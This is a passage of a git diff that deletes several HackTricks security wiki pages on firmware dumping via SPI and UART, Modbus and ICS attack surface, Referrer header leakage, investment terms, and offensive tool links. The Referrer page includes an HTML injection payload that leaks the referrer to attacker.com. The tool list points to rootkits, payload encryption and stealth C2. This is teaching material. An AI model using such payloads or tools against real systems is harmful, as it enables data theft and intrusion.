-![drawing](../../images/board_image_ch341a.jpg)
-
-Connect the EEPROM memory with the CH341a Programmer and plug the device into the computer. Incase the device is not getting detected, try installing drivers into the computer. Also, make sure that the EEPROM is connected in proper orientation (usually, place the VCC Pin in reverse orientation to the USB connector) or else, the software would not be able to detect the chip. Refer to the diagram if required:
-
-![drawing](../../images/connect_wires_ch341a.jpg) ![drawing](../../images/eeprom_plugged_ch341a.jpg)
-
-Finally, use softwares like flashrom, G-Flash (GUI), etc. for dumping the firmware. G-Flash is a minimal GUI tool is fast and detects the EEPROM automatically. This can be helpful in the firmware needs to be extracted quickly, without much tinkering with the documentation.
-
-![drawing](../../images/connected_status_ch341a.jpg)
-
-After dumping the firmware, the analysis can be done on the binary files. Tools like strings, hexdump, xxd, binwalk, etc. can be used to extract a lot of information about the firmware as well as the whole file system too.
-
-To extract the contents from the firmware, binwalk can be used. Binwalk analyses for hex signatures and identifies the files in the binary file and is capabale of extracting them.
-
-```
-binwalk -e <filename>
-```
-
-The can be .bin or .rom as per the tools and configurations used.
-
-> [!CAUTION]
-> Note that firmware extraction is a delicate process and requires a lot of patience. Any mishandling can potentially corrupt the firmware or even erase it completely and make the device unusable. It is recommended to study the specific device before attempting to extract the firmware.
-
-### Bus Pirate + flashrom
-
-![CH341A EEPROM Programmer and Reader - Bus Pirate + flashrom: Bus Pirate + flashrom](<../../images/image (910).png>)
-
-Note that even if the PINOUT of the Pirate Bus indicates pins for **MOSI** and **MISO** to connect to SPI however some SPIs may indicate pins as DI and DO. **MOSI -> DI, MISO -> DO**
-
-![CH341A EEPROM Programmer and Reader - Bus Pirate + flashrom: Note that even if the PINOUT of the Pirate Bus indicates pins for MOSI and MISO to connect to SPI however some SPIs may...](<../../images/image (360).png>)
-
-In Windows or Linux you can use the program [**`flashrom`**](https://www.flashrom.org/Flashrom) to dump the content of the flash memory running something like:
-
-```bash
-# In this command we are indicating:
-# -VV Verbose
-# -c <chip> The chip (if you know it better, if not, don'tindicate it and the program might be able to find it)
-# -p <programmer> In this case how to contact th chip via the Bus Pirate
-# -r <file> Image to save in the filesystem
-flashrom -VV -c "W25Q64.V" -p buspirate_spi:dev=COM3 -r flash_content.img
-```
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/todo/hardware-hacking/uart.md b/src/todo/hardware-hacking/uart.md
deleted file mode 100644
index 37adfb6161d..00000000000
--- a/src/todo/hardware-hacking/uart.md
+++ /dev/null
@@ -1,188 +0,0 @@
-# UART
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Basic Information
-
-UART is a serial protocol, which means it transfers data between components one bit at a time. In contrast, parallel communication protocols transmit data simultaneously through multiple channels. Common serial protocols include RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express, and USB.
-
-Generally, the line is held high (at a logical 1 value) while UART is in the idle state. Then, to signal the start of a data transfer, the transmitter sends a start bit to the receiver, during which the signal is held low (at a logical 0 value). Next, the transmitter sends five to eight data bits containing the actual message, followed by an optional parity bit and one or two stop bits (with a logical 1 value), depending on the configuration. The parity bit, used for error checking, is rarely seen in practice. The stop bit (or bits) signify the end of transmission.
-
-We call the most common configuration 8N1: eight data bits, no parity, and one stop bit. For example, if we wanted to send the character C, or 0x43 in ASCII, in an 8N1 UART configuration, we would send the following bits: 0 (the start bit); 0, 1, 0, 0, 0, 0, 1, 1 (the value of 0x43 in binary), and 0 (the stop bit).
-
-![UART: We call the most common configuration 8N1: eight data bits, no parity, and one stop bit. For example, if we wanted to send the character C, or 0x43 in ASCII, in an 8N1 UART](<../../images/image (764).png>)
-
-Hardware tools to communicate with UART:
-
-- USB-to-serial adapter
-- Adapters with the CP2102 or PL2303 chips
-- Multipurpose tool such as: Bus Pirate, the Adafruit FT232H, the Shikra, or the Attify Badge
-
-### Identifying UART Ports
-
-UART has 4 ports: **TX**(Transmit), **RX**(Receive), **Vcc**(Voltage), and **GND**(Ground). You might be able to find 4 ports with the **`TX`** and **`RX`** letters **written** in the PCB. But if there is no indication, you might need to try to find them yourself using a **multimeter** or a **logic analyzer**.
-
-With a **multimeter** and the device powered off:
-
-- To identify the **GND** pin use the **Continuity Test** mode, place the back lead into ground and test with the red one until you hear a sound from the multimeter. Several GND pins can be found the PCB, so you might have found or not the one belonging to UART.
-- To identify the **VCC port**, set the **DC voltage mode** and set it up to 20 V of voltage. Black probe on ground and red probe on the pin. Power on the device. If the multimeter measures a constant voltage of either 3.3 V or 5 V, you’ve found the Vcc pin. If you get other voltages, retry with other ports.
-- To identify the **TX** **port**, **DC voltage mode** up to 20 V of voltage, black probe on ground, and red probe on the pin, and power on the device. If you find the voltage fluctuates for a few seconds and then stabilizes at the Vcc value, you’ve most likely found the TX port. This is because when powering on, it sends some debug data.
-- The **RX port** would be the closest one to the other 3, it has the lowest voltage fluctuation and lowest overall value of all the UART pins.
-
-You can confuse the TX and RX ports and nothing would happen, but if you confuses the GND and the VCC port you might fry the circuit.
-
-In some target devices, the UART port is disabled by the manufacturer by disabling RX or TX or even both. In that case, it can be helpful to trace down the connections in the circuit board and finding some breakout point. A strong hint about confirming no detection of UART and breaking of the circuit is to check the device warranty. If the device has been shipped with some warranty, the manufacturer leaves some debug interfaces (in this case, UART) and hence, must have disconnected the UART and would attach it again while debugging. These breakout pins can be connected by soldering or jumper wires.
-
-### Identifying the UART Baud Rate
-
-The easiest way to identify the correct baud rate is to look at the **TX pin’s output and try to read the data**. If the data you receive isn’t readable, switch to the next possible baud rate until the data becomes readable. You can use a USB-to-serial adapter or a multipurpose device like Bus Pirate to do this, paired with a helper script, such as [baudrate.py](https://github.com/devttys0/baudrate/). The most common baud rates are 9600, 38400, 19200, 57600, and 115200.
-
-> [!CAUTION]
-> It's important to note that in this protocol you need to connect the TX of one device to the RX of the other!
-
-## CP210X UART to TTY Adapter
-
-The CP210X Chip is used in a lot of prototyping boards like NodeMCU (with esp8266) for Serial Communication. These adapters are relatively inexpensive and can be used to connect to the UART interface of the target. The device has 5 pins: 5V, GND, RXD, TXD, 3.3V. Make sure to connect the voltage as supported by the target to avoid any damage. Finally connect the RXD pin of the Adapter to TXD of the target and TXD pin of the Adapter to RXD of the target.
-
-Incase the adapter is not detected, make sure that the CP210X drivers are installed in the host system. Once the adapter is detected and connected, tools like picocom, minicom or screen can be used.
-
-To list the devices connected to Linux/MacOS systems:
-
-```
-ls /dev/
-```
-
-For basic interaction with the UART interface, use the following command:
-
-```
-picocom /dev/<adapter> --baud <baudrate>
-```
-
-For minicom, use the following command to configure it:
-
-```
-minicom -s
-```
-
-Configure the settings such as baudrate and device name in the `Serial port setup` option.
-
-After configuration, use the command `minicom` to start get the UART Console.
-
-## UART Via Arduino UNO R3 (Removable Atmel 328p Chip Boards)
-
-Incase UART Serial to USB adapters are not available, Arduino UNO R3 can be used with a quick hack. Since Arduino UNO R3 is usually available anywhere, this can save a lot of time.
-
-Arduino UNO R3 has a USB to Serial adapter built on the board itself. To get UART connection, just plug out the Atmel 328p microcontroller chip from the board. This hack works on Arduino UNO R3 variants having the Atmel 328p not soldered on the board (SMD version is used in it). Connect the RX pin of Arduino (Digital Pin 0) to the TX pin of the UART Interface and TX pin of the Arduino (Digital Pin 1) to the RX pin of the UART interface.
-
-Finally, it is recommended to use Arduino IDE to get the Serial Console. In the `tools` section in the menu, select `Serial Console` option and set the baud rate as per the UART interface.
-
-## Bus Pirate
-
-In this scenario we are going to sniff the UART communication of the Arduino that is sending all the prints of the program to the Serial Monitor.
-
-```bash
-# Check the modes
-UART>m
-1. HiZ
-2. 1-WIRE
-3. UART
-4. I2C
-5. SPI
-6. 2WIRE
-7. 3WIRE
-8. KEYB
-9. LCD
-10. PIC
-11. DIO
-x. exit(without change)
-
-# Select UART
-(1)>3
-Set serial port speed: (bps)
- 1. 300
- 2. 1200
- 3. 2400
- 4. 4800
- 5. 9600
- 6. 19200
- 7. 38400
- 8. 57600
- 9. 115200
-10. BRG raw value
-
-# Select the speed the communication is occurring on (you BF all this until you find readable things)
-# Or you could later use the macro (4) to try to find the speed
-(1)>5
-Data bits and parity:
- 1. 8, NONE *default
- 2. 8, EVEN
- 3. 8, ODD
- 4. 9, NONE
-
- # From now on pulse enter for default
-(1)>
-Stop bits:
- 1. 1 *default
- 2. 2
-(1)>
-Receive polarity:
- 1. Idle 1 *default
- 2. Idle 0
-(1)>
-Select output type:
- 1. Open drain (H=Hi-Z, L=GND)
- 2. Normal (H=3.3V, L=GND)
-
-(1)>
-Clutch disengaged!!!
-To finish setup, start up the power supplies with command 'W'
-Ready
-
-# Start
-UART>W
-POWER SUPPLIES ON
-Clutch engaged!!!
-
-# Use macro (2) to read the data of the bus (live monitor)
-UART>(2)
-Raw UART input
-Any key to exit
-Escritura inicial completada:
-AAA Hi Dreg! AAA
-waiting a few secs to repeat....
-```
-
-## Dumping Firmware with UART Console
-
-UART Console provides a great way to work with the underlying firmware in runtime environment. But when the UART Console access is read-only, it might introduce a lot of constrains. In many embedded devices, the firmware is stored in EEPROMs and executed in processors that have volatile memory. Hence, the firmware is kept read-only since the original firmware during manufacturing is inside the EEPROM itself and any new files would get lost due to volatile memory. Hence, dumping firmware is a valuable effort while working with embedded firmwares.
-
-There are a lot of ways to do this and the SPI section covers methods to extract firmware directly from the EEPROM with various devices. Although, it is recommended to first try dumping firmware with UART since dumping firmware with physical devices and external interactions can be risky.
-
-Dumping firmware from UART Console requires first getting access to bootloaders. Many popular vendors make use of uboot (Universal Bootloader) as their bootloader to load Linux. Hence, getting access to uboot is necessary.
-
-To get access to boot bootloader, connect the UART port to the computer and use any of the Serial Console tools and keep the power supply to the device disconnected. Once the setup is ready, press the Enter Key and hold it. Finally, connect the power supply to the device and let it boot.
-
-Doing this will interrupt uboot from loading and will provide a menu. It is recommended to understand uboot commands and using help menu to list them. This might be `help` command. Since different vendors use different configurations, it is necessary to understand each of them seperately.
-
-Usually, the command to dump the firmware is:
-
-```
-md
-```
-
-which stands for "memory dump". This will dump the memory (EEPROM Content) on the screen. It is recommended to log the Serial Console output before starting the proceedure to capture the memory dump.
-
-Finally, just strip out all the unnecessary data from the log file and store the file as `filename.rom` and use binwalk to extract the contents:
-
-```
-binwalk -e <filename.rom>
-```
-
-This will list the possible contents from the EEPROM as per the signatures found in the hex file.
-
-Although, it is necessary to note that it's not always the case that the uboot is unlocked even if it is being used. If the Enter Key doesn't do anything, check for different keys like Space Key, etc. If the bootloader is locked and does not get interrupted, this method would not work. To check if uboot is the bootloader for the device, check the output on the UART Console while booting of the device. It might mention uboot while booting.
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/todo/industrial-control-systems-hacking/README.md b/src/todo/industrial-control-systems-hacking/README.md
deleted file mode 100644
index ad736fc4c0b..00000000000
--- a/src/todo/industrial-control-systems-hacking/README.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# Industrial Control Systems Hacking 
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## About this Section
-
-This section contains all about Industrial Control Systems including concepts as well as methodologies to hack them with various security issues that persists in them. 
-
-Industrial Control Systems are everywhere, since industries are vital for economic development of a nation. But these ICS are hard to update and lesser advancements are made in this field. Hence, finding security flaws is common here. Most of the protocols and standards used here where developed back in the 90's and have much lesser capabilities as compared to current attack scenarios. 
-
-It has become important to secure these systems since damaging them can cost a lot and even lives at the worst case. To understand Industrial Contol Systems security, knowing the internals of them is necessary. 
-
-Since Industrial Control Systems are installed following set standards, knowing each components would help in interconnecting every other mechanisms in the control system. Installation of these devices like PLCs and SCADA systems is different is various industries, hence information gathering is critical. 
-
-Industrial Control Systems can be complicated at times and hence require a lot of patience to do anything. It's all about probing and reconnaissance before planning attacks and developing any exploits. 
-
-These techniques can also be used to protect against attacks and blue teaming for industrial control systems. 
-
-
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/todo/industrial-control-systems-hacking/modbus.md b/src/todo/industrial-control-systems-hacking/modbus.md
deleted file mode 100644
index 24bea668e10..00000000000
--- a/src/todo/industrial-control-systems-hacking/modbus.md
+++ /dev/null
@@ -1,38 +0,0 @@
-# The Modbus Protocol 
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Introduction to Modbus Protocol 
-
-The Modbus protocol is a widely used protocol in Industrial Automation and Control Systems. Modbus allows communication between various devices such as programmable logic controllers (PLCs), sensors, actuators, and other industrial devices. Understanding the Modbus Protocol is essential since this is the single most used communication protocol in the ICS and has a lot of potential attack surface for sniffing and even injecting commands into PLCs.
-
-Here, concepts are stated point-wise providing context of the protcol and it's nature of operation. The biggest challenge in ICS system security is the cost of implementation and upgradation. These protocols and standards where designed in the early 80s and 90s which are still widely used. Since an industry has a lot of devices and connections, upgrading devices is very difficult, which provides hackers with an edge of dealing with outdated protocols. Attacks on Modbus is like practically unevitable since it is going to be used without upgradation is it's operation is critical to the industry. 
-
-## The Client-Server Architecture
-
-Modbus Protocol is typically used as in Client Server Architecture where a master device (client) initiates communication with one or more slave devices (servers). This is also referred to as Master-Slave architecture, which is widely used in electronics and IoT with SPI, I2C, etc. 
-
-## Serial and Etherent Versions
-
-Modbus Protocol is designed for both, Serial Communication as well as Ethernet Communications. The Serial Communication is widely used in legacy systems while modern devices support Ethernet which offers high data rates and is more suitable for modern industrial networks. 
-
-## Data Representation 
-
-Data is transmitted in Modbus protocol as ASCII or Binary, although the binary format is used due to it's compactibility with older devices. 
-
-## Function Codes 
-
- ModBus Protocol works with transmission of specific function codes that are used to operate the PLCs and various control devices. This portion is important to undertstand since replay attacks can be done by retransmitting function codes. Legacy devices do not support any encryption towards data transmission and usually have long wires which connect them, which results to tampering of these wires and capturing/injected data. 
-
- ## Addressing of Modbus 
-
-Each device in the network has some unique address which is essential for communication between devices. Protocols like Modbus RTU, Modbus TCP, etc. are used to implement addressing and serves like a transport layer to the data transmission. The data that is transferred is in the Modbus protocol format that contains the message.
-
-Furthermore, Modbus also implements error checks to ensure the integrity of the transmitted data. But most of al, Modbus is a Open Standard and anyone can implement it in their devices. This made this protocol to go on global standard and it's widespread in the industrial automation industry. 
-
-Due to it's large scale use and lack of upgradations, attacking Modbus provides a significant advantage with it's attack surface. ICS is highly dependent on communication between devices and any attacks made on them can be dangerous for the operation of the industrial systems. Attacks like replay, data injection, data sniffing and leaking, Denial of Service, data forgery, etc. can be carried out if the medium of transmission is identified by the attacker. 
-
-
-
-{{#include ../../banners/hacktricks-training.md}}
-
diff --git a/src/todo/interesting-http.md b/src/todo/interesting-http.md
deleted file mode 100644
index cf0ee0033ab..00000000000
--- a/src/todo/interesting-http.md
+++ /dev/null
@@ -1,44 +0,0 @@
-# Interesting HTTP
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Referrer headers and policy
-
-Referrer is the header used by browsers to indicate which was the previous page visited.
-
-### Sensitive information leaked
-
-If at some point inside a web page any sensitive information is located on a GET request parameters, if the page contains links to external sources or an attacker is able to make/suggest (social engineering) the user visit a URL controlled by the attacker. It could be able to exfiltrate the sensitive information inside the latest GET request.
-
-### Mitigation
-
-You can make the browser follow a **Referrer-policy** that could **avoid** the sensitive information to be sent to other web applications:
-
-```
-Referrer-Policy: no-referrer
-Referrer-Policy: no-referrer-when-downgrade
-Referrer-Policy: origin
-Referrer-Policy: origin-when-cross-origin
-Referrer-Policy: same-origin
-Referrer-Policy: strict-origin
-Referrer-Policy: strict-origin-when-cross-origin
-Referrer-Policy: unsafe-url
-```
-
-### Counter-Mitigation
-
-You can override this rule using an HTML meta tag (the attacker needs to exploit and HTML injection):
-
-```html
-<meta name="referrer" content="unsafe-url">
-<img src="https://attacker.com">
-```
-
-## Defense
-
-Never put any sensitive data inside GET parameters or paths in the URL.
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/todo/investment-terms.md b/src/todo/investment-terms.md
deleted file mode 100644
index 51e5db7a842..00000000000
--- a/src/todo/investment-terms.md
+++ /dev/null
@@ -1,74 +0,0 @@
-# Investment Terms
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Spot
-
-This is the most basic way to do some trading. You can **indicate the amount of the asset and the price** that you want to buy or sell, and whenever that price is reached the operation is done.
-
-Usually you can also use the **current market price** in order to perform the transaction as fast as possible to the current price.
-
-**Stop Loss - Limit**: You can also indicate amount and the price of the assets to buy or sell while also indicating a lower price to buy or sell in case it's reached (to stop losses).
-
-## Futures
-
-A future is a contract where 2 parts comes to an agreement to **acquire something in the future at a fixed price**. For example to sell 1 bitcoin in 6 months at 70.000$.
-
-Obviously if by 6 months the bitcoin value is 80.000$ the seller part loses money and the buying part earns it. If in 6 months the bitcoin value is 60.000$, the opposite happens.
-
-However, this is interesting for example for business which are generating a product and need to have the security that thy will be able to sell it at a price to pay the costs. Or business which want to assure fixed prices in the future for something eve if higher.
-
-Although in exchanges this is usually used to try to make a profit.
-
-* Notice that a "Long position" means that someone if betting that a price is going to increase
-* While a "short position" means that someone if betting that a price is going to go down
-
-### Hedging With Futures <a href="#mntl-sc-block_7-0" id="mntl-sc-block_7-0"></a>
-
-If a fund manager is afraid that some stocks are going to go down he might take a short position over some assets like bitcoins or S\&P 500 futures contracts. This would be similar to buying or having some assets and create a contract of selling those at a future time at a bigger price.
-
-In case the price goes down the fund manager will earn benefits because he will sell the assets at a bigger price. If the price of the assets goes up the manager won't earn that benefit but he will still keep his assets.
-
-### Perpetual Futures
-
-**These are "futures" that will last indefinitely** (without an ending contract date). It's very common to find them for example in crypto exchanges where you can go in an out of futures based on the price of cryptos.
-
-Notice that in these cases the benefits and lose can be in real time, if the price increases 1% you win a 1%, if the price decreases 1%, you will lose it.
-
-### Futures with Leverage
-
-**Leverage** allows you to control a larger position in the market with a smaller amount of money. It basically allows you to "bet" much more money than you have risking only the money that you actually have.
-
-For example, if you open a future position in the BTC/USDT with 100$ a 50x leverage this means that if the price is increased 1%, then you would be winning 1x50 = 50% of your initial investment (50$). And therefore you will have 150$.\
-However, if the price decreases 1%, you will lost 50% of your funds (59$ in this case). And if the price decreases 2% you will lose all your bet (2x50 = 100%).
-
-Therefore, leveraging allows to control the amount of money you bet while increasing the winnings and loses.
-
-## Differences Futures & Options
-
-The main difference between futures and options is that the contract is optional for the buyer: He can decide to execute it or not (usually he will only if he will benefit for it). The seller must sell if the buyer wants to use the option.\
-However, the buyer will be paying some fee to the seller for opening the option (so the seller, who is taking more risk aparently, starts earning some money).
-
-### 1. **Obligation vs. Right:**
-
-* **Futures:** When you buy or sell a futures contract, you're entering a **binding agreement** to buy or sell an asset at a specific price on a future date. Both the buyer and the seller are **obligated** to fulfill the contract at expiration (unless the contract is closed before then).
-* **Options:** With options, you have the **right, but not the obligation**, to buy (in the case of a **call option**) or sell (in the case of a **put option**) an asset at a specific price before or at a certain expiration date. The **buyer** has the option to execute, while the **seller** is obligated to fulfill the trade if the buyer decides to exercise the option.
-
-### 2. **Risk:**
-
-* **Futures:** Both the buyer and the seller take on **unlimited risk** because they are obligated to complete the contract. The risk is the difference between the agreed-upon price and the market price at the expiration date.
-* **Options:** The buyer’s risk is limited to the **premium** paid to purchase the option. If the market doesn't move in favor of the option holder, they can simply let the option expire. However, the **seller** (writer) of the option has unlimited risk if the market moves significantly against them.
-
-### 3. **Cost:**
-
-* **Futures:** There is no upfront cost beyond the margin required to hold the position, as the buyer and seller are both obligated to complete the trade.
-* **Options:** The buyer must pay an **option premium** upfront for the right to exercise the option. This premium is essentially the cost of the option.
-
-### 4. **Profit Potential:**
-
-* **Futures:** The profit or loss is based on the difference between the market price at expiration and the agreed-upon price in the contract.
-* **Options:** The buyer profits when the market moves favorably beyond the strike price by more than the premium paid. The seller profits by keeping the premium if the option is not exercised.
-
-
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/todo/more-tools.md b/src/todo/more-tools.md
deleted file mode 100644
index 8dc316e9c29..00000000000
--- a/src/todo/more-tools.md
+++ /dev/null
@@ -1,126 +0,0 @@
-# More tools
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-## BlueTeam
-
-- [https://github.com/yarox24/attack_monitor](https://github.com/yarox24/attack_monitor)
-- [https://capsule8.com/blog/dont-get-kicked-out-a-tale-of-rootkits-and-other-backdoors/](https://capsule8.com/blog/dont-get-kicked-out-a-tale-of-rootkits-and-other-backdoors/)
-- [https://github.com/ION28/BLUESPAWN](https://github.com/ION28/BLUESPAWN)
-- [https://github.com/PaperMtn/lil-pwny](https://github.com/PaperMtn/lil-pwny) : Check disclosed accounts
-- [https://github.com/rabobank-cdc/DeTTECT](https://github.com/rabobank-cdc/DeTTECT)
-
-## OSINT
-
-- [https://github.com/3vangel1st/kamerka](https://github.com/3vangel1st/kamerka)
-- [https://github.com/BullsEye0/google_dork_list](https://github.com/BullsEye0/google_dork_list)
-- [https://github.com/highmeh/lure](https://github.com/highmeh/lure)
-- [https://www.shodan.io/](https://www.shodan.io)
-- [https://censys.io/](https://censys.io)
-- [https://webmii.com/](https://webmii.com/)
-- [https://viz.greynoise.io/table](https://viz.greynoise.io/table)
-- [https://www.zoomeye.org](https://www.zoomeye.org)
-- [https://fofa.so](https://fofa.so)
-- [https://www.onyphe.io](https://www.onyphe.io)
-- [https://app.binaryedge.io](https://app.binaryedge.io)
-- [https://hunter.io](https://hunter.io)
-- [https://wigle.net](https://wigle.net)
-- [https://ghostproject.fr](https://ghostproject.fr)
-- [https://www.oshadan.com/](https://www.oshadan.com)
-- [https://builtwith.com/](https://builtwith.com)
-- [https://www.spiderfoot.net/](https://www.spiderfoot.net)
-- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
-- [https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/sys/tools/subdomainfinder/) : 8 Subdomain finder tools, sublist3r, amass and more
-
-## **WEB**
-
-- [https://github.com/AlisamTechnology/ATSCAN](https://github.com/AlisamTechnology/ATSCAN)
-- [https://github.com/momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder)
-- [https://github.com/hahwul/XSpear](https://github.com/hahwul/XSpear)
-- [https://github.com/BitTheByte/Monitorizer/](https://github.com/BitTheByte/Monitorizer/)
-- [https://github.com/spinkham/skipfish](https://github.com/spinkham/skipfish)
-- [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : Brute force domain names asynchronously
-- [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : Subdomain bruteforce
-- [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): Check if web servers in a domain are accessible
-- [https://github.com/aboul3la/Sublist3r](https://github.com/aboul3la/Sublist3r) : Subdomain discovery
-- [https://github.com/gwen001/github-search/blob/master/github-subdomains.py](https://github.com/gwen001/github-search/blob/master/github-subdomains.py) : Subdomain discovery in github
-- [https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) : Fast port scanning
-- [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : Subdomains and URLs from JS files in a web
-- [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : Web files dictionary
-- [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : BurpExtension to avoid dozens repeater tabs
-- [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : Obtain assets
-- [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : Google dorks
-- [https://github.com/sehno/Bug-bounty/blob/master/bugbounty_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty_checklist.md) : Web BugBounty checklist
-- [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : Check a list of domain against Open Redirection
-- [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : Burp plugin, offline analysis to discover domains, subdomains and IPs
-- [https://github.com/hahwul/WebHackersWeapons](https://github.com/hahwul/WebHackersWeapons): List of different tools
-- [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : BurpSuite Plugingto find vulns (SQLi, XSS, SSTI)
-- [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Chrome extension for tracking post-messages functions
-- [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : Automatic authentication tests (remove cookies and try to send the request)
-- [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross is a Reconstruction, Scanner, and a tool for penetration / BugBounty testing. This tool was built to test (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) vulnerabilities
-
-## Windows
-
-- [https://github.com/Mr-Un1k0d3r/PoisonHandler](https://github.com/Mr-Un1k0d3r/PoisonHandler) : Lateral movements
-- [https://freddiebarrsmith.com/trix/trix.html](https://freddiebarrsmith.com/trix/trix.html) : LOL bins
-- [https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79](https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79) ([https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)): Persistence
-- [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Windows Process Injection techniques
-- [https://github.com/BankSecurity/Red_Team](https://github.com/BankSecurity/Red_Team) : Red Team scripts
-- [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : find security-related misconfigurations in Active Directory Group Policy.
-- [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Securestring obfuscation
-- [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Parent PID Spoofing
-- [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Encrypt Powershell payloads
-- [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : Stealth C2
-- [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Series of logs about Windows Internals
-- [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : Track who open a document
-- [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Active Directory Cheat Sheet
-
-## Firmware
-
-Tools q veo q pueden molar para analizar firmares (automaticas):
-
-- [https://github.com/craigz28/firmwalker](https://github.com/craigz28/firmwalker)
-- [https://github.com/fkie-cad/FACT_core](https://github.com/fkie-cad/FACT_core)
-- [https://gitlab.com/bytesweep/bytesweep-go](https://gitlab.com/bytesweep/bytesweep-go)
-
-Post-crema:
-
-- [https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html](https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html)
-- [https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html](https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html)
-
-Como extraer firmware si no lo encontramos online: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
-
-Aqui un firware con vulnerabilidades para analizar: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
-
-y por aqui la metodologia owasp para analizar firmware: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm)
-
-Firmware emulation: FIRMADYNE (https://github.com/firmadyne/firmadyne/) is a platform for automating the emulation and dynamic analysis of Linux-based firmware.
-
-## OTHER
-
-- [https://twitter.com/HackAndDo/status/1202695084543791117](https://twitter.com/HackAndDo/status/1202695084543791117)
-- [https://github.com/weev3/LKWA](https://github.com/weev3/LKWA)
-- [https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/](https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/)
-- [https://github.com/skelsec/jackdaw](https://github.com/skelsec/jackdaw)
-- [https://github.com/CoatiSoftware/Sourcetrail](https://github.com/CoatiSoftware/Sourcetrail) : Static code analysis
-- [https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html](https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html) : Bluetooth LE CTF
-- [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : SSH tarpit that slowly sends an endless banner.
-- AWS and Cloud tools: [https://github.com/toniblyx/my-arsenal-of-aws-security-tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
-- IFS (Interplanetary File System) for phising: [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/)
-- IP rotation services: [https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212)
-- Linux rootkit: [https://github.com/aesophor/satanic-rootkit](https://github.com/aesophor/satanic-rootkit)
-- [https://theia-ide.org/](https://theia-ide.org) : Online IDE
-- [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : Resources for starting on BugBounties
-- [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : IOS pentesting tools
